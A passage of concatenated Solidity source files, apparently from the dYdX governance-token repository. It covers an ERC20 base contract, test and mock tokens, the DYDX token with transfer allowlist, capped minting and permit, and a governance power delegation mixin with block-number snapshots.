/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import { ERC20 } from '../../dependencies/open-zeppelin/ERC20.sol';
/**
* @title MintableErc20
* @author dYdX
*
* @notice Test ERC20 token that allows anyone to mint.
*/
contract MintableErc20 is
ERC20
{
constructor(
string memory name,
string memory symbol,
uint8 decimals
)
ERC20(name, symbol)
{
_setupDecimals(decimals);
}
/**
* @notice Mint tokens to the specified account.
*
* @param account The account to receive minted tokens.
* @param value The amount of tokens to mint.
*/
function mint(
address account,
uint256 value
)
external
{
_mint(account, value);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
import { MintableErc20 } from './MintableErc20.sol';
/**
* @title MockChainlinkToken
* @author dYdX
*
* @notice Mock Chainlink token.
*/
contract MockChainlinkToken is
MintableErc20
{
address public _CALLED_WITH_TO_;
uint256 public _CALLED_WITH_VALUE_;
bytes public _CALLED_WITH_DATA_;
constructor()
MintableErc20('Mock Chainlink Token', 'LINK', 18)
{}
function transferAndCall(
address to,
uint256 value,
bytes memory data
)
external
returns (bool success)
{
_CALLED_WITH_TO_ = to;
_CALLED_WITH_VALUE_ = value;
_CALLED_WITH_DATA_ = data;
return true;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import { ERC20 } from '../../dependencies/open-zeppelin/ERC20.sol';
import { Ownable } from '../../dependencies/open-zeppelin/Ownable.sol';
import { SafeMath } from '../../dependencies/open-zeppelin/SafeMath.sol';
import { GovernancePowerDelegationERC20Mixin } from './GovernancePowerDelegationERC20Mixin.sol';
/**
* @title DydxToken
* @author dYdX
*
* @notice The dYdX governance token.
*/
contract DydxToken is
GovernancePowerDelegationERC20Mixin,
Ownable
{
using SafeMath for uint256;
// ============ Events ============
/**
* @dev Emitted when an address has been added to or removed from the token transfer allowlist.
*
* @param account Address that was added to or removed from the token transfer allowlist.
* @param isAllowed True if the address was added to the allowlist, false if removed.
*/
event TransferAllowlistUpdated(address account, bool isAllowed);
/**
* @dev Emitted when the transfer restriction timestamp is reassigned.
*
* @param transfersRestrictedBefore The new timestamp on and after which non-allowlisted transfers may occur.
*/
event TransfersRestrictedBeforeUpdated(uint256 transfersRestrictedBefore);
// ============ Constants ============
string internal constant NAME = 'dYdX';
string internal constant SYMBOL = 'DYDX';
uint256 public constant INITIAL_SUPPLY = 1_000_000_000 ether;
bytes32 public immutable DOMAIN_SEPARATOR;
bytes public constant EIP712_VERSION = '1';
bytes32 public constant EIP712_DOMAIN = keccak256(
'EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'
);
bytes32 public constant PERMIT_TYPEHASH = keccak256(
'Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'
);
/// @notice Minimum time between mints.
uint256 public constant MINT_MIN_INTERVAL = 365 days;
/// @notice Cap on the percentage of the total supply that can be minted at each mint.
/// Denominated in percentage points (units out of 100).
uint256 public immutable MINT_MAX_PERCENT;
/// @notice The timestamp on and after which the transfer restriction must be lifted.
uint256 public immutable TRANSFER_RESTRICTION_LIFTED_NO_LATER_THAN;
// ============ Storage ============
/// @dev Mapping from (owner) => (next valid nonce) for EIP-712 signatures.
mapping(address => uint256) internal _nonces;
mapping(address => mapping(uint256 => Snapshot)) public _votingSnapshots;
mapping(address => uint256) public _votingSnapshotsCounts;
mapping(address => address) public _votingDelegates;
mapping(address => mapping(uint256 => Snapshot)) public _propositionPowerSnapshots;
mapping(address => uint256) public _propositionPowerSnapshotsCounts;
mapping(address => address) public _propositionPowerDelegates;
/// @notice Snapshots of the token total supply, at each block where the total supply has changed.
mapping(uint256 => Snapshot) public _totalSupplySnapshots;
/// @notice Number of snapshots of the token total supply.
uint256 public _totalSupplySnapshotsCount;
/// @notice Allowlist of addresses which may send or receive tokens while transfers are
/// otherwise restricted.
mapping(address => bool) public _tokenTransferAllowlist;
/// @notice The timestamp on and after which minting may occur.
uint256 public _mintingRestrictedBefore;
/// @notice The timestamp on and after which non-allowlisted transfers may occur.
uint256 public _transfersRestrictedBefore;
// ============ Constructor ============
/**
* @notice Constructor.
*
* @param distributor The address which will receive the initial supply of tokens.
* @param transfersRestrictedBefore Timestamp, before which transfers are restricted unless the
* origin or destination address is in the allowlist.
* @param transferRestrictionLiftedNoLaterThan Timestamp, which is the maximum timestamp that transfer
* restrictions can be extended to.
* @param mintingRestrictedBefore Timestamp, before which minting is not allowed.
* @param mintMaxPercent Cap on the percentage of the total supply that can be minted at
* each mint.
*/
constructor(
address distributor,
uint256 transfersRestrictedBefore,
uint256 transferRestrictionLiftedNoLaterThan,
uint256 mintingRestrictedBefore,
uint256 mintMaxPercent
)
ERC20(NAME, SYMBOL)
{
uint256 chainId;
// solium-disable-next-line
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
EIP712_DOMAIN,
keccak256(bytes(NAME)),
keccak256(bytes(EIP712_VERSION)),
chainId,
address(this)
)
);
// Validate and set parameters.
require(transfersRestrictedBefore > block.timestamp, 'TRANSFERS_RESTRICTED_BEFORE_TOO_EARLY');
require(transfersRestrictedBefore <= transferRestrictionLiftedNoLaterThan, 'MAX_TRANSFER_RESTRICTION_TOO_EARLY');
require(mintingRestrictedBefore > block.timestamp, 'MINTING_RESTRICTED_BEFORE_TOO_EARLY');
_transfersRestrictedBefore = transfersRestrictedBefore;
TRANSFER_RESTRICTION_LIFTED_NO_LATER_THAN = transferRestrictionLiftedNoLaterThan;
_mintingRestrictedBefore = mintingRestrictedBefore;
MINT_MAX_PERCENT = mintMaxPercent;
// Mint the initial supply.
_mint(distributor, INITIAL_SUPPLY);
emit TransfersRestrictedBeforeUpdated(transfersRestrictedBefore);
}
// ============ Other Functions ============
/**
* @notice Adds addresses to the token transfer allowlist. Reverts if any of the addresses
* already exist in the allowlist. Only callable by owner.
*
* @param addressesToAdd Addresses to add to the token transfer allowlist.
*/
function addToTokenTransferAllowlist(address[] calldata addressesToAdd)
external
onlyOwner
{
for (uint256 i = 0; i < addressesToAdd.length; i++) {
require(
!_tokenTransferAllowlist[addressesToAdd[i]],
'ADDRESS_EXISTS_IN_TRANSFER_ALLOWLIST'
);
_tokenTransferAllowlist[addressesToAdd[i]] = true;
emit TransferAllowlistUpdated(addressesToAdd[i], true);
}
}
/**
* @notice Removes addresses from the token transfer allowlist. Reverts if any of the addresses
* don't exist in the allowlist. Only callable by owner.
*
* @param addressesToRemove Addresses to remove from the token transfer allowlist.
*/
function removeFromTokenTransferAllowlist(address[] calldata addressesToRemove)
external
onlyOwner
{
for (uint256 i = 0; i < addressesToRemove.length; i++) {
require(
_tokenTransferAllowlist[addressesToRemove[i]],
'ADDRESS_DOES_NOT_EXIST_IN_TRANSFER_ALLOWLIST'
);
_tokenTransferAllowlist[addressesToRemove[i]] = false;
emit TransferAllowlistUpdated(addressesToRemove[i], false);
}
}
/**
* @notice Updates the transfer restriction. Reverts if the transfer restriction has already passed,
* the new transfer restriction is earlier than the previous one, or the new transfer restriction is
* after the maximum transfer restriction.
*
* @param transfersRestrictedBefore The timestamp on and after which non-allowlisted transfers may occur.
*/
function updateTransfersRestrictedBefore(uint256 transfersRestrictedBefore)
external
onlyOwner
{
uint256 previousTransfersRestrictedBefore = _transfersRestrictedBefore;
require(block.timestamp < previousTransfersRestrictedBefore, 'TRANSFER_RESTRICTION_ENDED');
require(previousTransfersRestrictedBefore <= transfersRestrictedBefore, 'NEW_TRANSFER_RESTRICTION_TOO_EARLY');
require(transfersRestrictedBefore <= TRANSFER_RESTRICTION_LIFTED_NO_LATER_THAN, 'AFTER_MAX_TRANSFER_RESTRICTION');
_transfersRestrictedBefore = transfersRestrictedBefore;
emit TransfersRestrictedBeforeUpdated(transfersRestrictedBefore);
}
/**
* @notice Mint new tokens. Only callable by owner after the required time period has elapsed.
*
* @param recipient The address to receive minted tokens.
* @param amount The number of tokens to mint.
*/
function mint(address recipient, uint256 amount)
external
onlyOwner
{
require(block.timestamp >= _mintingRestrictedBefore, 'MINT_TOO_EARLY');
require(amount <= totalSupply().mul(MINT_MAX_PERCENT).div(100), 'MAX_MINT_EXCEEDED');
// Update the next allowed minting time.
_mintingRestrictedBefore = block.timestamp.add(MINT_MIN_INTERVAL);
// Mint the amount.
_mint(recipient, amount);
}
/**
* @notice Implements the permit function as specified in EIP-2612.
*
* @param owner Address of the token owner.
* @param spender Address of the spender.
* @param value Amount of allowance.
* @param deadline Expiration timestamp for the signature.
* @param v Signature param.
* @param r Signature param.
* @param s Signature param.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
require(owner != address(0), 'INVALID_OWNER');
require(block.timestamp <= deadline, 'INVALID_EXPIRATION');
uint256 currentValidNonce = _nonces[owner];
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline))
)
);
require(owner == ecrecover(digest, v, r, s), 'INVALID_SIGNATURE');
_nonces[owner] = currentValidNonce.add(1);
_approve(owner, spender, value);
}
/**
* @notice Get the next valid nonce for EIP-712 signatures.
*
* This nonce should be used when signing for any of the following functions:
* - permit()
* - delegateByTypeBySig()
* - delegateBySig()
*/
function nonces(address owner)
external
view
returns (uint256)
{
return _nonces[owner];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_requireTransferAllowed(_msgSender(), recipient);
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount)
public
override
returns (bool)
{
_requireTransferAllowed(sender, recipient);
return super.transferFrom(sender, recipient, amount);
}
/**
* @dev Override _mint() to write a snapshot whenever the total supply changes.
*
* These snapshots are intended to be used by the governance strategy.
*
* Note that the ERC20 _burn() function is never used. If desired, an official burn mechanism
* could be implemented external to this contract, and accounted for in the governance strategy.
*/
function _mint(address account, uint256 amount)
internal
override
{
super._mint(account, amount);
uint256 snapshotsCount = _totalSupplySnapshotsCount;
uint128 currentBlock = uint128(block.number);
uint128 newValue = uint128(totalSupply());
// Note: There is no special case for the total supply being updated multiple times in the same
// block. That should never occur.
_totalSupplySnapshots[snapshotsCount] = Snapshot(currentBlock, newValue);
_totalSupplySnapshotsCount = snapshotsCount.add(1);
}
function _requireTransferAllowed(address sender, address recipient)
view
internal
{
// Compare against the constant `TRANSFER_RESTRICTION_LIFTED_NO_LATER_THAN` first
// to avoid additional gas costs from reading from storage.
if (
block.timestamp < TRANSFER_RESTRICTION_LIFTED_NO_LATER_THAN &&
block.timestamp < _transfersRestrictedBefore
) {
// While transfers are restricted, a transfer is permitted if either the sender or the
// recipient is on the allowlist.
require(
_tokenTransferAllowlist[sender] || _tokenTransferAllowlist[recipient],
'NON_ALLOWLIST_TRANSFERS_DISABLED'
);
}
}
/**
* @dev Writes a snapshot before any transfer operation, including: _transfer, _mint and _burn.
* - On _transfer, it writes snapshots for both 'from' and 'to'.
* - On _mint, only for `to`.
* - On _burn, only for `from`.
*
* @param from The sender.
* @param to The recipient.
* @param amount The amount being transfered.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
)
internal
override
{
address votingFromDelegatee = _getDelegatee(from, _votingDelegates);
address votingToDelegatee = _getDelegatee(to, _votingDelegates);
_moveDelegatesByType(
votingFromDelegatee,
votingToDelegatee,
amount,
DelegationType.VOTING_POWER
);
address propPowerFromDelegatee = _getDelegatee(from, _propositionPowerDelegates);
address propPowerToDelegatee = _getDelegatee(to, _propositionPowerDelegates);
_moveDelegatesByType(
propPowerFromDelegatee,
propPowerToDelegatee,
amount,
DelegationType.PROPOSITION_POWER
);
}
function _getDelegationDataByType(DelegationType delegationType)
internal
override
view
returns (
mapping(address => mapping(uint256 => Snapshot)) storage, // snapshots
mapping(address => uint256) storage, // snapshots count
mapping(address => address) storage // delegatees list
)
{
if (delegationType == DelegationType.VOTING_POWER) {
return (_votingSnapshots, _votingSnapshotsCounts, _votingDelegates);
} else {
return (
_propositionPowerSnapshots,
_propositionPowerSnapshotsCounts,
_propositionPowerDelegates
);
}
}
/**
* @dev Delegates specific governance power from signer to `delegatee` using an EIP-712 signature.
*
* @param delegatee The address to delegate votes to.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
* @param nonce The signer's nonce for EIP-712 signatures on this contract.
* @param expiry Expiration timestamp for the signature.
* @param v Signature param.
* @param r Signature param.
* @param s Signature param.
*/
function delegateByTypeBySig(
address delegatee,
DelegationType delegationType,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
)
public
{
bytes32 structHash = keccak256(
abi.encode(DELEGATE_BY_TYPE_TYPEHASH, delegatee, uint256(delegationType), nonce, expiry)
);
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, structHash));
address signer = ecrecover(digest, v, r, s);
require(signer != address(0), 'INVALID_SIGNATURE');
require(nonce == _nonces[signer]++, 'INVALID_NONCE');
require(block.timestamp <= expiry, 'INVALID_EXPIRATION');
_delegateByType(signer, delegatee, delegationType);
}
/**
* @dev Delegates both governance powers from signer to `delegatee` using an EIP-712 signature.
*
* @param delegatee The address to delegate votes to.
* @param nonce The signer's nonce for EIP-712 signatures on this contract.
* @param expiry Expiration timestamp for the signature.
* @param v Signature param.
* @param r Signature param.
* @param s Signature param.
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
)
public
{
bytes32 structHash = keccak256(abi.encode(DELEGATE_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, structHash));
address signer = ecrecover(digest, v, r, s);
require(signer != address(0), 'INVALID_SIGNATURE');
require(nonce == _nonces[signer]++, 'INVALID_NONCE');
require(block.timestamp <= expiry, 'INVALID_EXPIRATION');
_delegateByType(signer, delegatee, DelegationType.VOTING_POWER);
_delegateByType(signer, delegatee, DelegationType.PROPOSITION_POWER);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
import { ERC20 } from '../../dependencies/open-zeppelin/ERC20.sol';
import { SafeMath } from '../../dependencies/open-zeppelin/SafeMath.sol';
import {
IGovernancePowerDelegationERC20
} from '../../interfaces/IGovernancePowerDelegationERC20.sol';
/**
* @title GovernancePowerDelegationERC20Mixin
* @author dYdX
*
* @notice Provides support for two types of governance powers, both endowed by the governance
* token, and separately delegatable. Provides functions for delegation and for querying a user's
* power at a certain block number.
*/
abstract contract GovernancePowerDelegationERC20Mixin is
ERC20,
IGovernancePowerDelegationERC20
{
using SafeMath for uint256;
// ============ Constants ============
/// @notice EIP-712 typehash for delegation by signature of a specific governance power type.
bytes32 public constant DELEGATE_BY_TYPE_TYPEHASH = keccak256(
'DelegateByType(address delegatee,uint256 type,uint256 nonce,uint256 expiry)'
);
/// @notice EIP-712 typehash for delegation by signature of all governance powers.
bytes32 public constant DELEGATE_TYPEHASH = keccak256(
'Delegate(address delegatee,uint256 nonce,uint256 expiry)'
);
// ============ Structs ============
/// @dev Snapshot of a value on a specific block, used to track voting power for proposals.
struct Snapshot {
uint128 blockNumber;
uint128 value;
}
// ============ External Functions ============
/**
* @notice Delegates a specific governance power to a delegatee.
*
* @param delegatee The address to delegate power to.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
function delegateByType(address delegatee, DelegationType delegationType)
external
override
{
_delegateByType(msg.sender, delegatee, delegationType);
}
/**
* @notice Delegates all governance powers to a delegatee.
*
* @param delegatee The address to delegate power to.
*/
function delegate(address delegatee)
external
override
{
_delegateByType(msg.sender, delegatee, DelegationType.VOTING_POWER);
_delegateByType(msg.sender, delegatee, DelegationType.PROPOSITION_POWER);
}
/**
* @notice Returns the delegatee of a user.
*
* @param delegator The address of the delegator.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
function getDelegateeByType(address delegator, DelegationType delegationType)
external
override
view
returns (address)
{
(, , mapping(address => address) storage delegates) = _getDelegationDataByType(delegationType);
return _getDelegatee(delegator, delegates);
}
/**
* @notice Returns the current power of a user. The current power is the power delegated
* at the time of the last snapshot.
*
* @param user The user whose power to query.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function getPowerCurrent(address user, DelegationType delegationType)
external
override
view
returns (uint256)
{
(
mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
mapping(address => uint256) storage snapshotsCounts,
// delegates
) = _getDelegationDataByType(delegationType);
return _searchByBlockNumber(snapshots, snapshotsCounts, user, block.number);
}
/**
* @notice Returns the power of a user at a certain block.
*
* @param user The user whose power to query.
* @param blockNumber The block number at which to get the user's power.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function getPowerAtBlock(
address user,
uint256 blockNumber,
DelegationType delegationType
) external override view returns (uint256) {
(
mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
mapping(address => uint256) storage snapshotsCounts,
// delegates
) = _getDelegationDataByType(delegationType);
return _searchByBlockNumber(snapshots, snapshotsCounts, user, blockNumber);
}
// ============ Internal Functions ============
/**
* @dev Delegates one specific power to a delegatee.
*
* @param delegator The user whose power to delegate.
* @param delegatee The address to delegate power to.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function _delegateByType(
address delegator,
address delegatee,
DelegationType delegationType
) internal {
require(delegatee != address(0), 'INVALID_DELEGATEE');
(, , mapping(address => address) storage delegates) = _getDelegationDataByType(delegationType);
uint256 delegatorBalance = balanceOf(delegator);
address previousDelegatee = _getDelegatee(delegator, delegates);
delegates[delegator] = delegatee;
_moveDelegatesByType(previousDelegatee, delegatee, delegatorBalance, delegationType);
emit DelegateChanged(delegator, delegatee, delegationType);
}
/**
* @dev Moves power from one user to another.
*
* @param from The user from which delegated power is moved.
* @param to The user that will receive the delegated power.
* @param amount The amount of power to be moved.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function _moveDelegatesByType(
address from,
address to,
uint256 amount,
DelegationType delegationType
) internal {
if (from == to) {
return;
}
(
mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
mapping(address => uint256) storage snapshotsCounts,
// delegates
) = _getDelegationDataByType(delegationType);
if (from != address(0)) {
uint256 previous = 0;
uint256 fromSnapshotsCount = snapshotsCounts[from];
if (fromSnapshotsCount != 0) {
previous = snapshots[from][fromSnapshotsCount - 1].value;
} else {
previous = balanceOf(from);
}
uint256 newAmount = previous.sub(amount);
_writeSnapshot(
snapshots,
snapshotsCounts,
from,
uint128(newAmount)
);
emit DelegatedPowerChanged(from, newAmount, delegationType);
}
if (to != address(0)) {
uint256 previous = 0;
uint256 toSnapshotsCount = snapshotsCounts[to];
if (toSnapshotsCount != 0) {
previous = snapshots[to][toSnapshotsCount - 1].value;
} else {
previous = balanceOf(to);
}
uint256 newAmount = previous.add(amount);
_writeSnapshot(
snapshots,
snapshotsCounts,
to,
uint128(newAmount)
);
emit DelegatedPowerChanged(to, newAmount, delegationType);
}
}
/**
* @dev Searches for a balance snapshot by block number using binary search.
*
* @param snapshots The mapping of snapshots by user.
* @param snapshotsCounts The mapping of the number of snapshots by user.
* @param user The user for which the snapshot is being searched.
* @param blockNumber The block number being searched.
*/
function _searchByBlockNumber(
mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
mapping(address => uint256) storage snapshotsCounts,
address user,
uint256 blockNumber
) internal view returns (uint256) {
require(blockNumber <= block.number, 'INVALID_BLOCK_NUMBER');
uint256 snapshotsCount = snapshotsCounts[user];
if (snapshotsCount == 0) {
return balanceOf(user);
}
// First check most recent balance
if (snapshots[user][snapshotsCount - 1].blockNumber <= blockNumber) {
return snapshots[user][snapshotsCount - 1].value;
}
// Next check implicit zero balance
if (snapshots[user][0].blockNumber > blockNumber) {
return 0;
}
uint256 lower = 0;
uint256 upper = snapshotsCount - 1;
while (upper > lower) {
uint256 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Snapshot memory snapshot = snapshots[user][center];
if (snapshot.blockNumber == blockNumber) {
return snapshot.value;
} else if (snapshot.blockNumber < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return snapshots[user][lower].value;
}
/**
* @dev Returns delegation data (snapshot, snapshotsCount, delegates) by delegation type.
*
* Note: This mixin contract does not itself define any storage, and we require the inheriting
* contract to implement this method to provide access to the relevant mappings in storage.
* This pattern was implemented by Aave for legacy reasons and we have decided not to change it.
*
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function _getDelegationDataByType(DelegationType delegationType)
internal
virtual
view
returns (
mapping(address => mapping(uint256 => Snapshot)) storage, // snapshots
mapping(address => uint256) storage, // snapshotsCount
mapping(address => address) storage // delegates
);
/**
* @dev Writes a snapshot of a user's token/power balance.
*
* @param snapshots The mapping of snapshots by user.
* @param snapshotsCounts The mapping of the number of snapshots by user.
* @param owner The user whose power to snapshot.
* @param newValue The new balance to snapshot at the current block.
*/
function _writeSnapshot(
mapping(address => mapping(uint256 => Snapshot)) storage snapshots,
mapping(address => uint256) storage snapshotsCounts,
address owner,
uint128 newValue
) internal {
uint128 currentBlock = uint128(block.number);
uint256 ownerSnapshotsCount = snapshotsCounts[owner];
mapping(uint256 => Snapshot) storage ownerSnapshots = snapshots[owner];
if (
ownerSnapshotsCount != 0 &&
ownerSnapshots[ownerSnapshotsCount - 1].blockNumber == currentBlock
) {
// Doing multiple operations in the same block
ownerSnapshots[ownerSnapshotsCount - 1].value = newValue;
} else {
ownerSnapshots[ownerSnapshotsCount] = Snapshot(currentBlock, newValue);
snapshotsCounts[owner] = ownerSnapshotsCount + 1;
}
}
/**
* @dev Returns the delegatee of a user. If a user never performed any delegation, their
* delegated address will be 0x0, in which case we return the user's own address.
*
* @param delegator The address of the user for which return the delegatee.
* @param delegates The mapping of delegates for a particular type of delegation.
*/
function _getDelegatee(
address delegator,
mapping(address => address) storage delegates
)
internal
view
returns (address)
{
address previousDelegatee = delegates[delegator];
if (previousDelegatee == address(0)) {
return delegator;
}
return previousDelegatee;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
interface IGovernancePowerDelegationERC20 {
enum DelegationType {
VOTING_POWER,
PROPOSITION_POWER
}
/**
* @dev Emitted when a user delegates governance power to another user.
*
* @param delegator The delegator.
* @param delegatee The delegatee.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
event DelegateChanged(
address indexed delegator,
address indexed delegatee,
DelegationType delegationType
);
/**
* @dev Emitted when an action changes the delegated power of a user.
*
* @param user The user whose delegated power has changed.
* @param amount The new amount of delegated power for the user.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
event DelegatedPowerChanged(address indexed user, uint256 amount, DelegationType delegationType);
/**
* @dev Delegates a specific governance power to a delegatee.
*
* @param delegatee The address to delegate power to.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
function delegateByType(address delegatee, DelegationType delegationType) external virtual;
/**
* @dev Delegates all governance powers to a delegatee.
*
* @param delegatee The user to which the power will be delegated.
*/
function delegate(address delegatee) external virtual;
/**
* @dev Returns the delegatee of an user.
*
* @param delegator The address of the delegator.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
